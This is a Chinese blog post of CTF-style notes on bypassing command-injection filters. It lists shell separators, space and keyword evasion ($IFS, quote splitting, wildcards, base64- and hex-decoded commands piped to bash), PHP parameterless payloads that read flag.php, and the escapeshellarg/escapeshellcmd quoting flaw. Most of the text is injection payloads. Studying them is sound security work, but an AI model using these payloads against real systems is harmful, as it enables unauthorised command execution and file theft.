命令执行
拼接符号过滤
在linux中,&和&&,|和||介绍如下:
& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo '2'
windows & 、 &&
& —> 前面为假执行后面的
& & —> 前面为假直接出错,不执行后面的
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo 'yes' | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo "fail"
#windows
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
#linux
| —> 执行后面的
| | —> 当前面执行出错时,执行后面
;Linux命令行在一条命令结束时使用分号,分号后面连接新的命令。
浏览器:
%0a //换行符
%00 //空
%0d //空 回车
空格过滤
!! 代表执行上一个命令
$IFS 默认是空格符号
$IFS$1
{}表示{ls,-al},ls -al
\x20 unicode转换为字符串就是空格,通过变量的方式绕过
<>
< 作为命令输入
%09 用于url传递 代表TAB
%20 (space)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
flag过滤
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh sh的效果和bash一样
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
cat fla[f-h].txt
cat fl[a]g.php 用[]匹配
cat fla* 用*匹配任意
{cat,flag.php}//用逗号实现空格功能.需要用{}
echo flag|xxd => echo 666c61670a|xxd -r -p //十六进制
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
bash过滤
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
cat 过滤
a=c;b=at;$a$b //利用变量过滤
`echo 'Y2F0Cg==' | base64 -d` /1.txt //利用base64编码绕过
echo test|base64 #加密
echo dGVzdAo= |base64 -d #解密
c'a't test.txt
c\at test.txt
ca$@t test.txt //连接符截断绕过
通配符绕过
?在linux里面可以进行代替一个任意字符
/???/[l-n]s 可替代ls /bin/ls
/???/c?t test.txt 可替代cat test.txt
*在linux里面可以代替任意个任意字符
ls *.php 列出当前目录下所有php文件
无字母数字匹配
如果我们遇到一个正则将字母数字$这些都过滤掉,要我们执行一个脚本的话. 假如脚本名称为chakdiD且在根目录/etc下,我们可以用: . /???/???????[@-[] [@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 |
无参数命令执行
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
code=print_r(scandir(dirname(chdir(dirname(getcwd())))));
getcwd():获取当前工作目录:
dirname():返回路径中的目录部分
chdir():改变当前的目录
scandir():返回指定目录中的文件和目录的数组。
array_rand(array_flip()) 随机获取键值
array_reverse():以相反的元素顺序返回数组。
next():返回迭代器的下一个项目
readfile():将内部指针指向数组中的下一个元素,并输出
readfile(): 输出一个文件
localeconv()
返回包含本地数字及货币信息格式的数组,而数组第一项就是.current() 返回数组中的当前单元, 默认取第一个值,current还可以换成其同名函数pos
?exp=print_r(scandir(pos(localeconv())));
array_flip()
交换数组的键和值。
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
array_reverse()
以相反的元素顺序返回数组
使用next可读取flag
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); ?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
特殊函数
escapeshellarg
escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec(),system()执行运算符。
escapeshellcmd
escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\,\x0A和\xFF。'和"仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及%和!字符都会被空格代替。
示例
<?phphighlight_file(__FILE__);$host = $_GET['host'];$host = escapeshellarg($host);echo "</br>".$host;$host = escapeshellcmd($host);echo "</br>".$host;
1、传入的参数是:172.17.0.2' -v -d a=12、经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。3、经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php4、最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
版权声明:
本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
weehhd!
喜欢就支持一下吧
打赏
微信
支付宝